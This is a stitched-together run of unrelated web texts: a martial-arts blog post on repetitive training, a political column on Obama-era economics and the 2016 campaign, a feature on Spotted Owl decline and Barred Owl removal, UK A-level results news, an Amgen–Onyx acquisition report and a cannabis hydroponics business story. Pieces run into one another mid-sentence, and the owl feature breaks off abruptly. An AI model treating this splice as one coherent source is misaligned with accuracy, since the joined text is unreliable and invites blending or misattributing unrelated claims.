kirchmeister5@gmail.com
Feel free to share, comment, follow, thanks! My further thoughts continue here:
~Kirch
Article Source: Training since I was 14 with Kenpo, then into boxing, kickboxing, most of 40 years, even with champions, and a year with the 15 year world champion kickboxer, I began a journey based on a Bruce Lee principle. Note: My first Sensei had 3 ribs broken by Mr Lee.I'll get into the reasons I came to this place in martial arts as we get rolling here.I always remembered this quote from Mr Lee, one that's been heard by most in martial arts, "I fear not the man who has practiced 10,000 kicks once, but I fear the man who has practiced one kick 10,000 times."I read this as a kid, in his writings as most of us have. A few years ago I heard about a wrestler who was taught one move and practiced it on anyone and everyone for years, then took it into competition. He was unstoppable. Even though opposing coaches and opponents knew that was his only move, bam, they were down!THIS was the meaning behind his quote above. THIS is when a kick becomes simply a kick again. If you study Mr Lee's training, you'd find him on many a day throwing some kick or punch 500 reps! Certain days he performed as many as 2,000 lead punches! Years of this meant once he fired a punch or kick it was 100% likely to land, accurate, hard.So, understanding that the main purpose of massive reps is to create what Mr Lee stated, "a neurologically set pattern" where thought is not required to launch the technique, you'll find it fires at the exact time it's supposed to given the distance, opening, timing, etc. This also frees one up to express themselves rather than "try" to win, defend, or land something.This is where I started, having some skills and being athletic, in my mind, I made the decision to go all the way with this concept, finally, and never quit till I finished! Out of respect to Mr Lee, failure/quitting was not an option.Through his dedication to perfecting a strike or technique, Bruce Lee found after many thousands of reps, that once the technique was applied it was virtually unstoppable.Besides giving you huge self confidence, it also created a foundational movement that one could build upon. I discovered so much more when I embarked on this journey. Here's what I did...Realizing any punch or kick could be used to perfect, I thought about the most efficient combo ever, the simple 1-2 punch. This combo, lead left jab, straight right (I'm more right handed) although not some pretty flying spin kick, is probably the most effective, economical combo there is. Over many years I have thrown this combo probably over two thousand times. Trained by a pro boxer on how to throw it, I would at least be close to very decent in form.A couple yrs ago at the age of 53, functioning normal (can run 10mi of mountains, etc), to which I'm always Thankful to God, I decided it to apply this Bruce Lee concept to my life. This was a conscious decision to absolutely do this, and I wasn't going to stop till completed!Realizing most opponents are not going to be at quite the right distance to just throw this combo, I started with the lead leg (left in my case) slide into the left jab (bridge the gap) then the straight right. I did this in the air hundreds of times first, at a rate of 100 combo's/day or session... around 3 times/wk. I usually broke it into two mini sessions of 50ea. I marked it on the calendar so I could add it up.This is how I started... it began with my first 100. It took around 7-8 months, so don't get in a hurry. Sure you can do 200-500/day, but here's why I stopped at 100... my goal wasn't just sheer quantity, but also quality! Each rep had to be correct or very close (to better set a neurological pattern). Each rep had to have maximum speed involving quick twitch muscle fiber. Each rep had to be explosive, accurate, balanced, hitting hard enough with either hand to be very damaging. By only doing 100 reps I was still crisp and strong at the end, I've done 200 or more in a day but felt that quality was less, so I stayed at 100.I am open for discussion to help you on your journey. Feel free to email, comment, and share with martial artists, so far I don't know of anyone who has taken this Bruce Lee quote and completed it, please let me know if you do, thanks!God Bless,~GaryFeel free to share, comment, follow, thanks! My further thoughts continue here: http://kirch4.wordpress.com/2013/01/14/following-through-with-massive-reps/ ~KirchArticle Source: Bruce Lee Workouts, Massive Reps, Unstoppable Techniques What was learn't from Gary Kirsch's Experience? I guess the lesson learnt from kirsch's post is that it's better to be a master at one thing then be a jack of all trades and a master of none. if you get really good at one thing like the wrestler he used as an example, you become dangerous even though your competitors already know your killer move. You simply perfect your deadly move so well no amount of preparation can save them from you. It is like fighting Mike Tyson in his prime, no amount of preparation could have saved his opponents from his deadly punches, because it is hard if not impossible to take hard punches to the face.
Author Hey there my name is Gene, I am a fitness fanatic. I started training using body weight training and managed to build a very lean muscular body using body-weight training. I later decided to lift weights but continue to mix weight training as well as body-weight training to get the best results. Archives May 2013
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In this weekend’s New York Times Magazine, there’s an interview with President Obama in which he assesses his economic legacy, and as you might expect, he has a complicated view of things. He thinks his administration did an excellent job pulling us out of the Great Recession: “I actually compare our economic performance to how, historically, countries that have wrenching financial crises perform. By that measure, we probably managed this better than any large economy on Earth in modern history.” But he wishes he had been able to pass more infrastructure spending: “it was the perfect time to do it; low interest rates, construction industry is still on its heels, massive need.”
Obama also makes an argument about what Republicans propose to do on the economy that gets directly to the competing stories that the two parties are going to be presenting to the American public this fall.
Even if a contest between Donald Trump and Hillary Clinton may be more focused on personality than your typical presidential campaign, it’s still the case that the outcome of the election will be determined in significant part by which of these economic stories the voting public finds more persuasive. And each story has two parts: a description of the American economy as it is now, and a proposal for what the candidate would like to do and how that plan will change things. Here’s Obama’s assessment of the Republicans’ second part:
“If you look at the platforms, the economic platforms of the current Republican candidates for president, they don’t simply defy logic and any known economic theories, they are fantasy,” Obama said. “Slashing taxes particularly for those at the very top, dismantling regulatory regimes that protect our air and our environment and then projecting that this is going to lead to 5 percent or 7 percent growth, and claiming that they’ll do all this while balancing the budget. Nobody would even, with the most rudimentary knowledge of economics, think that any of those things are plausible.”
You won’t be surprised to hear that I happen to agree with him on this, though I’d describe how ridiculous it is in somewhat stronger terms. I can’t stress this enough: Republicans argue that if we just cut taxes on the wealthy and reduce regulations on corporations, then the economy will explode in a supernova of prosperity for all. You can call this belief ahistorical, or unsupported by facts, or baseless or implausible, but if you want to be frank you’d have to say that it’s absolutely lunatic.
But let’s put this in context of the stories the two candidates will be telling. Here’s Donald Trump’s economic story:
The economy is an absolute nightmare. Americans are living in such misery that they’re practically eating their own shoes in order to survive. If we cut taxes on the wealthy, reduce regulations on corporations, renegotiate trade agreements, and deport all illegal immigrants, then our economy will be spectacular and working people will experience American greatness again.
And here’s Hillary Clinton’s economic story:
The economy is doing pretty well, and a lot better than it was eight years ago when the Republicans were in charge, but it could be even better. If we pass some worker-focused measures like increasing the minimum wage, stronger overtime protections and guaranteeing equal pay, and make infrastructure investments, then our economy will improve for everyone.
Trump’s story is the same one other Republicans tell, with the addition of the idea that “bad deals” on trade have had a crippling effect on the country. For the moment we’ll put aside the merits of Trump’s claim that imposing enormous tariffs on Chinese goods will cause all those jobs sewing clothing and assembling electronics to come pouring into the United States, but the political question around Trump’s story is whether people will believe his over-the-top description of both what’s happening now and the transformation he will be able to produce.
We’ve known for some time that voters’ perceptions of the economy are colored by partisanship: to simplify a bit, when there’s a Democrat in the White House, Republican voters will say that the economy is doing poorly and Democratic voters will say it’s doing great; when there’s a Republican president, the opposite is true.
For instance, in 2012 when Barack Obama was running for reelection, 49 percent of Democrats told the National Election Studies that the economy had gotten better in the previous year, while only 17 percent said it had gotten worse. On the other hand, nine percent of Republicans said it had gotten better, while 56 percent said it had gotten worse. Go back to 2004 when George W. Bush was running for reelection, and we see the reverse: 43 percent of Republicans said the economy had gotten better and 22 percent said it had gotten worse, while only 10 percent of Democrats said it had gotten better and 63 percent said it had gotten worse.
So obviously, people aren’t just reacting in an objective way to what they see around them. At the same time, there is a reality that can eventually poke its way through the veil partisans place over their eyes. In 2008, when the economy was in a catastrophic decline, everyone in both parties agreed on what was happening (94 percent of Democrats and 88 percent of Republicans said it had gotten worse).
Times like 2008 are rare, though. Today, the objective reality is a lot closer to the way Democrats describe it, in large part because they aren’t offering an extreme version of their truth. If Obama and Clinton were more rhetorically similar to Donald Trump, they’d be saying that this is the greatest economy in the history of human civilization, everybody has a terrific job, and there’s so much prosperity that the only question any American has is whether to spend their money on everything they could ever want or just roll around in it like Scrooge McDuck.
But they aren’t saying that. Instead, they’re attempting the tricky balancing act of emphasizing the progress Obama has made while acknowledging the long-term weaknesses in the economy. Both of those things are real. Since the bottom of the Great Recession early in Obama’s first term, the economy has added 14 million jobs, and unemployment is now at 5 percent. On the other hand, income growth has been concentrated at the top and Americans still feel uncertain about their economic futures.
Donald Trump has chosen to pretend that the good things about the American economy don’t exist, and weave a laughable fantasy about what his policies will produce (“I will be the greatest jobs president that God ever created”). Can he convince voters — particularly those in the middle who might be persuaded to vote for either candidate — to believe it? I guess we’ll see.
1 of 45 Full Screen Autoplay Close Skip Ad × Trump captures the nation’s attention on the campaign trail View Photos The Republican candidate continues to dominate the presidential contest. Caption Businessman Donald Trump officially became the Republican nominee at the party’s convention in Cleveland. Donald Trump speaks at a campaign event at Trump Doral golf course in Miami. Carlo Allegri/Reuters Buy Photo Wait 1 second to continue.You won’t meet a Northern Spotted Owl in this story.
The first reason is that, by the time I drive west from Sutherlin, Oregon, with Janice Reid one sunny November morning, the raptor’s breeding season is over. Spotted Owls are territorial while they nest and can be summoned with a hoot simulating an intruder. But once their owlets are grown, the birds melt like ghosts into the forest.
The second reason is grimmer: Spotted Owls are becoming much harder to find.
Reid, a small woman with wavy silver hair, is the U.S. Forest Service’s project director on the 400 square-mile Tyee study area, one of 11 such study sites in western Washington, Oregon, and northern California involved in a decades-long effort to track Spotted Owl population trends.
“I essentially live in this truck in summer, so it’s still got dust and fir needles from field work,” she apologizes, explaining that the dog smell is from a Labrador retriever she’s trained to track owl pellets. She’s studied Spotted Owls in these mountains since 1985, lured by their docile personalities and the puzzle of locating them in the tangled woods.
“You can see your reflection in their eyes sometimes, you get so close,” she says. “And they have big brown eyes. Maybe it’s just human nature to like big brown eyes.”
Past a gate guarding access to the Tyee’s checkerboard of private and U.S. Bureau of Land Management forest, Reid parks and steps onto a coin-scatter of gold leaves. Trees of all sizes clog the slope above us—centuries-old Douglas-fir, feather-plumed cedar, spindly vine maple.
This BLM stand is good Spotted Owl habitat, Reid explains, despite adjacent clearcuts. The ancient trees offer nesting cavities, and the layered foliage provides cover from predators and summer heat, while downed logs harbor prey. Perhaps for these reasons, this has been one of the Tyee’s most prolific nest sites. Successive Spotted Owl pairs here fledged more than 20 owlets in 20 years—three times the study area’s average. Then, in 2014, the last pair vanished.
“We don’t know where they are,” Reid says. “We don’t know if they’re dead, or just floating around the landscape.”
U.S. Forest Service biologist Janice Reid has studied Northern Spotted Owls in western Oregon’s Tyee study area since 1985. Her Labrador retriever, Eclipse, is trained to sniff out owl pellets. Photo by Terray Sylvester.
Twenty-six years after the Northern Spotted Owl was listed as threatened under the Endangered Species Act, disappearances like these are a common story. By 1990, wholesale cutting of old-growth trees had sent the owls and other wildlife such as Marbled Murrelets and salmon into a tailspin, spurring a bitter fight between environmentalists and logging interests over the fate of northwestern forests. A 1994 agreement called the Northwest Forest Plan—which stepped up habitat protections for the owls and other species across more than 24 million acres of national forest, BLM, and other federal lands—was supposed to fix all that. By some environmental measures, it’s working: old-growth logging all but halted on federal land and some watersheds improved. For a while, Northern Spotted Owls seemed headed toward stability, too. The average annual rate of range-wide decline improved from 3.9 percent in 1998 to 2.9 percent in 2008.
Masked beneath those figures, however, was a growing threat: An exploding population of invasive Barred Owls was moving in, shoving Spotted Owls from territories like this one. Today, the rate of Northern Spotted Owl decline is back up to 3.8 percent.
Given Barred Owls’ role in the Spotted Owls’ steepening slide, some timber companies and rural governments have called for rollbacks of forest protections. But safeguarding habitat may be more important than ever.
Protecting Old Growth Forests
Cornell Lab of Ornithology photographer Gerrit Vyn follows a pair of Northern Spotted Owls that he photographed for this article.
“The bottom line is that extinction rates went down when the amount of habitat went up,” U.S. Geological Survey biologist Katie Dugger, lead author of the 2015 demographic study, said in a presentation on the findings last fall. “Spotted Owls cannot exist without old-growth forest. And now we’re talking about two species trying to use the same space, so in fact we need more of it.”
Now the Forest Service and BLM are moving to update the land-use plans that fall under the Northwest Forest Plan, and new battle lines are being drawn over where and how additional habitat protections should be placed. It is, in a way, a quieter, more bureaucratic reprise of the old timber wars, only with a more complicated mix of threats and an even more precarious future for Spotted Owls.
“Spotted Owls cannot exist without old-growth forest.”
—Katie Dugger, USGS
The outcome matters even if the species is ultimately wiped out in the Northwest. After all, the fight “was never really just about Spotted Owls,” points out Eric Forsman, who, until retiring in 2015, was one of the Forest Service’s top Spotted Owl biologists. “It was always more about protecting the incredible structural and species diversity that was present in these older forests.”
Research wildlife biologist Eric Forsman retired in 2015 after more than 40 years of studying Spotted Owls for the U.S. Forest Service. He still teaches as an associate professor at Oregon State University in Corvallis. Photo by Terray Sylvester.
A few days before Thanksgiving, I meet Forsman at the Forestry Sciences Laboratory on the Oregon State University campus. He leads me through a warren of hallways to a windowless room crammed with office furniture.
“I’m the only one who’s ever here,” he comments, pointing at one dusty workstation. “That guy might be dead.”
Forsman has square shoulders and a certain appraising merriment. Nine binders on his desk are devoted to ropes and rigging—material for a class he’s teaching on tree climbing for wildlife research. Another is labeled simply “VOLE TEETH.” Suspenders hung from Forsman’s cubicle wall are emblazoned with “SPOTTED OWL HUNTER” in red letters—a souvenir from a time when tensions were so high that some owls turned up dead.
Metaphorically speaking, the slogan could apply to Forsman, too. He started stalking Spotted Owls in the early 1970s, after a face-to-face encounter inspired a master’s degree project searching for the species across Oregon. At that time, very little was known about its basic biology. Ominously, he found logging had occurred or was scheduled in more than half of the owl habitats he located. Driven by a thriving export market in the ‘70s and ‘80s, federal timber harvests in Washington, Oregon, and northern California rocketed to 4 to 5 billion board feet annually—rates that would have eliminated federal Spotted Owl habitat outside parks and wilderness in decades. Forsman and other scientists raised the alarm.
Forsman shows off bones gleaned from owl pellets. Photo by Terray Sylvester.
Environmental groups soon piled on. The Seattle Audubon Society sued the Forest Service for failing to meet its National Forest Management Act obligation to maintain “viable” populations of species, and in 1989 won an injunction from federal district judge William Dwyer blocking over 100 timber sales. Two years later, Dwyer blocked further logging in owl habitat until the feds came up with defensible protections.
The Northwest Forest Plan—forced by the Clinton Administration and developed by scientists in just 90 days—was the compromise that ended the stalemate. On both national forest and BLM land, it created 10 million acres of new reserves to safeguard old-growth forests and stream corridors from further cutting (though some of the land inside reserves had already been clearcut). Another 5.5 million acres were to provide regular timber harvests, with a predicted annual output of about 1 billion board feet. Because about 20 percent of remaining ancient stands were not inside reserves, the agreement also instated a “Survey and Manage” mitigation program that required agencies to look for a suite of rare species before logging could occur, and protect them with buffers when found.
At the time, Barred Owls were still a novelty in the Northwest. It’s impossible to know for sure what facilitated their arrival, but the prevailing theory is that the Great Plains once served as a vast moat, confining them to their native eastern forests. As westbound settlers planted trees and snuffed out fires, new forest crept along the Missouri River and its tributaries. Barred Owls leapfrogged into Washington in 1965, Oregon in 1972, and California in 1976.
Not even the Northwest Forest Plan—a revolutionary advancement of landscape-scale ecosystem management—was sweeping enough to deal with a continent in flux. Worse, it had come too late to reverse the decline that would make Spotted Owls so vulnerable to the new arrivals.
Barred Owls are more adaptable than Spotted Owls, and have more offspring. Photo by Gary Fairhead via Birdshare.
Threatened by Barred Owls
As Barred Owls have expanded across the Pacific Northwest, they’ve settled everywhere—from suburban neighborhoods to the same old-growth forests beloved by Spotted Owls. Because they’re generalist predators, they can pack in much tighter: in Oregon’s Coast Range, researchers recently found Barred Owls three to four pairs deep in territories that once supported one Spotted Owl pair. Add the fact that Barred Owls can produce four times as many owlets as Spotted Owls, and the math is bleak.
Northern Spotted Owl is smaller than its cousin the Barred Owl. It's also darker, and has spots on its breast. Photo by Gerrit Vyn.
“It makes me sad,” says Forsman, who’s pessimistic about the Spotted Owls’ prospects. But “range expansions are a part of natural systems. We just happened to be watching when one occurred. Even if [we’re to blame], we’re probably going to have to live with it.”
In Washington’s Olympic National Park, Barred Owls have filled the drainages like water in a bathtub. Last year, the monitoring crew there found just three Spotted Owl pairs and three single birds on 54 territories.
“We’re essentially proving absence on 80 percent of the sites,” says National Park Service wildlife biologist Scott Gremel. “It’s impossible for me to see a pathway where we don’t have extirpation of Spotted Owls from the Olympic Mountains unless we go to Barred Owl management.”
“You hear that?” whispers David Wiens. He fiddles with a remote control and a male Barred Owl caterwaul—a cackle not unlike that of a circus clown who’s huffed helium—pours through the fog from a speaker at our feet. A moment later, a fluting sound rolls back up the forested drainage. It’s a female Barred Owl. She calls again, nearer now. Suddenly, a whitish shape arrows from the bushes high into a Douglas-fir. I can’t distinguish her silhouette from the foliage until her head swivels in that owlish, Linda Blair way.
Had she landed closer, we would be able to see just how alike and how different she is from a Spotted Owl: similar size, but larger; similar brown coloring, but lighter, with streaks down her breast instead of spots. Barred and Spotted owls belong to the same genus and occasionally interbreed. And though Wiens admires the Barred Owl’s versatility and intelligence, if circumstances were slightly different, he might shoot her with a 12-gauge shotgun.
Wiens, a USGS biologist, and Katie Dugger are leading a federal Barred Owl removal experiment launched in 2013. Dressed in a navy raincoat with a beanie propped behind his ears, Wiens’ lean face has a heaviness that suggests the tremendous difficulty of his job. Over the next few years, field crews under his supervision will kill around 1,700 Barred Owls in four study areas scattered across the Northern Spotted Owl’s range—including this one, in Oregon’s Coast Range.
“It’s impossible for me to see a pathway where we don’t have extirpation of Spotted Owls from the Olympic Mountains unless we go to Barred Owl management.”
—Scott Gremel, National Park Service biologist
“I’ve studied raptors my whole career,” Wiens says. “I never imagined I’d end up doing anything like this.”
Even so, he recognizes the need. Where past studies have relied on correlations, this experiment will provide definitive answers about how Barred Owls are affecting their dwindling cousins—and, potentially, entire ecosystems.
“It’s important to know what those impacts are before, 10 years from now, we have quiet forests because this invasive predator cleaned everything out,” Wiens says.
Barred Owl is bigger than Spotted Owl, and is lighter and streakier. Both species are in the Strix genus. Photo by Glenn Bartley/Minden Pictures.
The decision to make the experiment deadly wasn’t easy. The U.S. Fish and Wildlife Service studied multiple approaches and tapped a bioethicist and more than 40 stakeholders to navigate the treacherous moral ground involved. In the end, the nonlethal options didn’t appear feasible or humane. Translocating Barred Owls would exacerbate the Spotted Owls’ dilemma elsewhere and might still kill Barred Owls. Storing them in prolonged captivity would make it impossible to return them to the wild, and only a few zoos and raptor centers expressed interest in providing permanent homes.
The animal advocacy groups Friends of Animals and Predator Defense have sued, arguing that the approach violates the Migratory Bird Treaty Act. But otherwise, the experiment—calibrated to ensure a quick kill, affecting a tiny fraction of the Pacific Northwest Barred Owl population, and carried out only when pairs aren’t raising young—appears to have garnered broad, if uncomfortable, backing.
“We really wrestled with the ethics of controlling one species to benefit another, but there was only one alternative we thought was scientifically credible enough to go ahead and conditionally support,” says Chris Karrenberg, Seattle Audubon’s former Conservation Committee chair. “Still, to support landscape-style management of Barred Owls is a different issue.”
Results from a five-year study in northern California on timberlands belonging to the Green Diamond Resource Company are promising. Lead investigator Lowell Diller found that, within days of Barred Owl removal, Spotted Owl pairs he hadn’t seen in years reappeared on historic nest sites. According to Dugger’s demographics study incorporating his data, Green Diamond’s treatment areas are the only place where Northern Spotted Owl population trends look positive, growing by an estimated 3 percent annually.
Similar findings in the larger federal experiment, however, would raise thorny management questions.
“We would have to do it forever and on fairly large areas to actually have an effect,” points out Forsman. “And that’s just not going to happen.”
Find out More Learn more about Spotted Owl and Barred Owl in our online All About Birds species guide.
Only after the experiment is done will the U.S. Fish and Wildlife Service make a decision about whether to undertake that approach, says the agency’s removal project coleader, Robin Bown: “In the end, we may choose not to do anything. But this way, we’ll know how effective removal is. And how costly.”
Diller says even temporary relief from Barred Owls could have benefits: “Every decade that we buy for Spotted Owls increases the chance that they will adapt to this new threat and buys time for us to look for more palatable management options.”
For coexistence to be possible, preserving remaining habitat may now be more important than ever. Wiens says further forest fragmentation in the face of the Barred Owl onslaught will only hasten the Spotted Owl’s decline: “The long-term issue continues to be habitat loss. The more loss there is, the greater the competitive pressure becomes.”
And it appears that the vast networks of habitat set aside in the 1990s aren’t enough.
The Northwest Forest Plan
A small fence separates logged private land from the thickly forested Bureau of Land Management (BLM) property. Photo by Terray Sylvester.
The Tyee study area is a checkerboard of heavily cut private land and thick forest mostly on federal land. Despite the Northwest Forest Plan, the amount of old-growth habitat for Spotted Owls in the Tyee has continued to decline. Photo by Terray Sylvester.
The Northwest Forest Plan was always a long game. Its creators anticipated it would be several decades before reserve forests grew back enough to begin offsetting ongoing habitat loss from logging and wildfire elsewhere. As new threats became evident, the U.S. Fish and Wildlife Service in 2011 recommended extending protections to more forest and as many occupied Spotted Owl territories as possible. A year later, it designated 9.6 million acres as “critical habitat” necessary for the species’ recovery, which can open the door to additional land-use restrictions. Although much of that fell inside existing reserves, it also included forest that had been open for logging.
That hit a sore spot: lands under the Northwest Forest Plan have produced significantly less lumber than predicted, thanks to lawsuits and regulations that prevented clearcuts, as well as low Congressional appropriations and the vagaries of the timber market.
“The industry took a major hit to protect the Northern Spotted Owl. And as it turns out, it didn’t work,” says Travis Joseph, president of the American Forest Resources Council, a regional trade association. “Now, to protect this species from a natural threat, we have to set more land aside? It makes folks angry.”
For their part, environmentalists worry that the U.S. Fish and Wildlife Service isn’t being protective enough. For example, its 2011 Northern Spotted Owl recovery plan emphasizes forest thinning to insulate owl habitat against wildfire. But Dominick DellaSala, chief scientist at the nonprofit Geos Institute and former member of federal Spotted Owl Recovery Team, says thinning may cause near-term harm to Spotted Owls by reducing prey and destroying more habitat than it saves. The species, DellaSala says, “is actually quite resilient to forest fires.”
“The industry took a major hit to protect the Northern Spotted Owl. And as it turns out, it didn’t work.”
—Travis Joseph, American Forest Resources Council
Earlier this year, the U.S. Fish and Wildlife Service authorized a post-fire salvage logging project in the Klamath National Forest in northern California that will cause the incidental take, or death, of 37 nesting pairs of Spotted Owls. The American Bird Conservancy strenuously urged federal agencies to reconsider and be more cautious with projects in Spotted Owl habitat.
Meanwhile, as the U.S. Forest Service and BLM update the land-use plans that fall under the Northwest Forest Plan, nobody seems happy. The 1994 version featured tight coordination between the two agencies, but this time BLM is developing its own plan. Most of its draft proposals make the protected reserves bigger, raising the ire of timber companies and affected counties. BLM also proposes to ramp up clearcutting elsewhere, eliminate the Survey and Manage program, and shrink forest buffers along waterways, thus riling environmentalists.
BLM project manager Mark Brown says his agency is obligated to provide a sustained timber yield from its lands in western Oregon. So it’s trying to minimize conflicts through a sort of zoning. The larger reserve network captures virtually all of the old growth, which in theory negates the need for Survey and Manage and frees up timber harvest areas to provide more reliable sales.
That doesn’t assuage environmentalists’ concerns: “Expansion of the reserve system is a net positive,” says Doug Heiken, conservation and restoration coordinator at Oregon Wild. But loopholes may undermine those protections, he says, and they “don’t justify elimination of stream protections and Survey and Manage while forests in reserves are still recovering from decades of overcutting.”
The BLM anticipates that its final plan will be out in April 2016. The Forest Service recently completed a series of listening sessions and is now compiling a scientific review of the Northwest Forest Plan, with the aim of beginning revisions by early 2018.
Janice Reid looks for Spotted Owls in the Tyee study area. Forestry practices in the area have caused Spotted Owl populations to decline. Photo by Terray Sylvester.
As the battle over federal lands heats up, it’s unclear whether state and private forests will play an expanded role in Spotted Owl recovery. Little habitat is left there—the Northwest Forest Plan, with its federal lands focus, had the side-effect of increasing the intensity of logging on state and private lands, where the rules are weaker and the Endangered Species Act holds far less sway. There are some incentive-based programs enlisting private landowners in California and Washington to manage for owls, but in Oregon there’s been virtually no buy-in.
Some conservation groups such as Seattle Audubon have lobbied to change the Spotted Owl’s federal listing status from “threatened” to “endangered” to afford the owls more protection. That change, currently being considered by the U.S. Fish and Wildlife Service, would increase the scrutiny of projects that impact owls on federal land or require federal permits. But agency Northern Spotted Owl specialist Betsy Glenn says that it won’t alter actual species management on the ground very much.
What does the future hold?
Metal tags mark former Spotted Owl nest trees in the Tyee study area. After Barred Owls moved into the territory a couple years ago, the resident Spotted Owl pair retreated into marginal habitat to nest for a year. Then they disappeared and researchers were unable to find them. Photos by Terray Sylvester.
Back on the Tyee, Janice Reid pulls the truck onto a hilltop and points out the severe demarcation of a section line between thickly forested BLM land and logged private land—a pattern that repeats across the ridgelines |
, while 23% achieved these top grades in state schools and colleges.
Many students have also been learning whether or not they have gained a university place.
Admissions service Ucas says 362,000 students have now been accepted for university courses this year, down 8% compared with this stage last year.
Was it good news for A-level students?
Figures published on Thursday evening also show that about 94,000 applicants are still awaiting decisions.
Despite a dip in applications this year, Universities Minister David Willetts said the long-term expansion in university numbers would continue.
"There is a long-term trend for more and more people to aspire to go to university and for more and more employers to look to employ people with higher education qualifications and I personally don't think, taking the long view, that trend has suddenly stopped," said Mr Willetts.
Room at the top
As well as rising tuition fees, this year also sees changes aimed at increasing competition for students between England's universities.
Universities can take an unlimited number of students with top grades (AAB or higher) - although not all universities plan to use this flexibility.
The results in numbers Pass rate is 98%
and has risen for 30 years
A* grade, boys just beat girls
Boys
8.0% Girls
7.9%
But on the A grade...
Boys score
17.8% Girls score
19.3%
Change in take up since 2011
Maths 3.3%
French 5.2%
Physics 5.0%
German 7.6%
Pass rate isand has risen for 30 years
There have been scholarships of up to £2,000 offered by universities to recruit such AAB students - and applications are still being invited.
But some of those expanding for AAB students are limiting these places to existing applicants.
Brian Lightman, head of the Association of School and College Leaders, has linked the lower level of acceptances this year to this change - suggesting that it might be pupils who have just missed out on gaining these AAB grades.
The slight fall in A-level top grades will add to the debate about so-called "grade inflation".
This year's results show a small fall in the proportion of top grades awarded in England and Wales - but a larger fall in Northern Ireland.
This has been attributed to a wider group of pupils staying in school and taking A-levels in Northern Ireland.
Northern Ireland still had the highest proportion of A* and A grades - 31.9%. England's top grades dipped by 0.3% to 26.5%, Wales also fell by 0.3% to 23.6%.
Grade inflation
Since 2010, England's exams watchdog Ofqual has been telling exam boards they have to account fully for any upward movement in grades - to show there was real improvement in performance.
A-LEVELS Introduced in 1951
Taken in England, Wales and Northern Ireland
Until 1982, pass rate was set at 70%
Since then, pass rate has risen year-on-year, up to 98% in 2012
This year 26.6% of pupils achieved A or A* grades
Teachers' leaders, exam bodies and others maintain that grades have improved over the years because students are better taught and are working harder, but critics dispute that.
At a news conference on Thursday, exam board heads insisted that this had not led to the slight fall in top grades awarded.
They said the change was probably related to a different make-up of students this year: while the number of 18-year-olds is down on last year, more of them did A-levels, so the ability-range is wider, they argue.
Ziggy Liaquat, managing director of the Edexcel board, said the fall was "marginal", adding "the standard needed to reach an A grade has not changed".
The results are for A and AS-level exams taken by pupils in England, Wales and Northern Ireland.
Pupils in Scotland got the results of their Highers and Standard Grades earlier this month and there was a record pass rate for Highers.
While many teenagers will head out to work or other training, more than half of UK A-level students will opt to go on to university.
The rise in tuition fees for many has been followed by a fall in university applications - particularly for England - but competition for places is still expected to be fierce.
Mr Willetts said he hoped the changes had not deterred students.
Students applying to England's universities will be liable for fees up to a maximum of £9,000 a year.
The Welsh Government will meet the extra cost for its students wherever they study in the UK and students from Scotland will continue to pay no fees at Scottish universities.
Students in Northern Ireland who stay there to study will not face an increase in fees.
Universities in Wales, Northern Ireland and Scotland are all charging higher fees to students from other parts of the UK.The California based biotech giant, Amgen, is paying $10 billion (7.47 billion euros) for Onyx Pharmaceuticals, which develops and markets cancer drugs. It is Amgen's biggest deal since its $16 billion acquisition of Immunex in 2001.
As a result of the deal announced on Sunday, Amgen will benefit from Onyx's partnership with German pharmaceutical giant Bayer AG. Amgen will gain a revenue stream from the liver and kidney cancer drug Nexavar that Onyx shares with Bayer and royalty payments on Bayer's much newer colon cancer drug, Stivarga. Sales of Nexavar totaled $861 million in 2012. San Francisco based Onyx received $288 million in revenue from those sales.
Several other major pharmaceutical acquisitions have been announced in the last few months. In July, generic drug maker Perrigo bought Ireland's Elan Corp for $8.6 billion. In May, generic drug company Actavis Inc. agreed to buy Warner Chilcott for $8.5 billion and Valeant Pharmaceuticals agreed to pay $8.7 billion to buy Bausch + Lomb in an expansion of its ophthalmology business. In April, scientific instrument maker Thermo Fisher Scientific agreed to buy life science and medical research instrument maker Life Technologies for $13.6 billion.
Bayer AG, the German chemical and pharmaceutical company was founded in Barmen, Germany in 1863. Headquartered in Leverkusen, North Rhine-Westphalia, it is best known for its original brand of aspirin.
jm/lw (Reuters, AP)Is the cannabis industry the next gold rush for investors? Former Morgan Stanley investment banker Derek Peterson thinks so. He gave up the financial arena two years ago and moved to Northern California seeing a boom in medical marijuana cultivation.
Peterson, who lived in Laguna for 17 years and now has moved back to Orange County, started a hydroponics manufacturing business in Oakland called GrowOp.
GrowOp is now a subsidiary of the Irvine-based, publicly traded Terra Tech (stock symbol otc:trtc).
As an investment banker, Peterson’s business was to keep a watchful eye on financial market trends for his clients. He started noticing upward trends for urban farming in the hydroponics and aeroponics industries.
For those unfamiliar with these soilless ways of growing crops, hydroponics uses water while aeroponics uses air and mists water at the roots. Both systems reduce pollution and can be done in a relatively small area.
With the world’s growing demand for food, decreasing farmland and climate changes, mainstream farming can benefit from these types of controlled indoor growing techniques, not only marijuana growers, Peterson said.
As he spoke at agricultural conferences and science technology symposiums over the last few years, Peterson saw companies like Bayer Crops Sciences and other fortune 500 companies showing interest in the shift to indoor growing.
“The science wouldn’t exist today but if not for cannabis,” he said. “Cannabis cultivation has basically financed and been the leader in this industry. We’re shunned from a federal standpoint, but we have all the science because of the medical marijuana industry.”
However, mainstream America’s views on marijuana could be changing.
In this month’s Costco Connection publication, and on their website, the company posts both sides of the legalization of marijuana argument and asks shoppers to participate in an online poll. When I checked, more than 93 percent of people responding were in favor of legalization.
And it’s not only Peterson who’s noticing the upward trend here, so is the investment world.
In January, the online site 247wallst.com listed the most important IPO’s to watch this year. Among the names was GrowOp technology LTD, Peterson’s company.
Peterson headed down the IPO trail knowing it could be a long road. Turns out he was right, so the former investment banker opted for what’s called a reverse merger to take his company public.
Basically a reverse merger is finding an already public company no longer doing business but publically traded, and merging with them. Peterson says this is the same path Ted Turner used when he took Turner Broadcasting public.
This strategy is a much faster way for businesses to go public and with a lot lower risk methodology, he said. He merged his company into one called Private Secretary – a defunct Internet phone company.
“Like any company we spent money to go public – thus we showed a loss for last year,” Peterson said. “This year we will be showing a positive. The core business has great margins 30 to 35 percent.”
“We should start trading in two to three weeks,” he added. “We’ve raised a million and a half dollars and we’ll fund the company with 5 to 10 million in the next 12 months – 18 months.”
But what about the recent federal crackdowns on dispensaries in Orange County and throughout the state; is this affecting his business?
“This market exists regardless whether it’s a black market or gray market,” he says and goes on to explain, “the industry continues to grow and higher regulations are just pushing it under the radar.”
Peterson said he feels the state needs to get smart about the cannabis industry and is missing the mark by not taxing it and working with the lucrative revenue stream it could produce.
“It’s sad to see local government getting so aggressive – it effectively is wiping out taxes and jobs, and that’s sad,” he said.
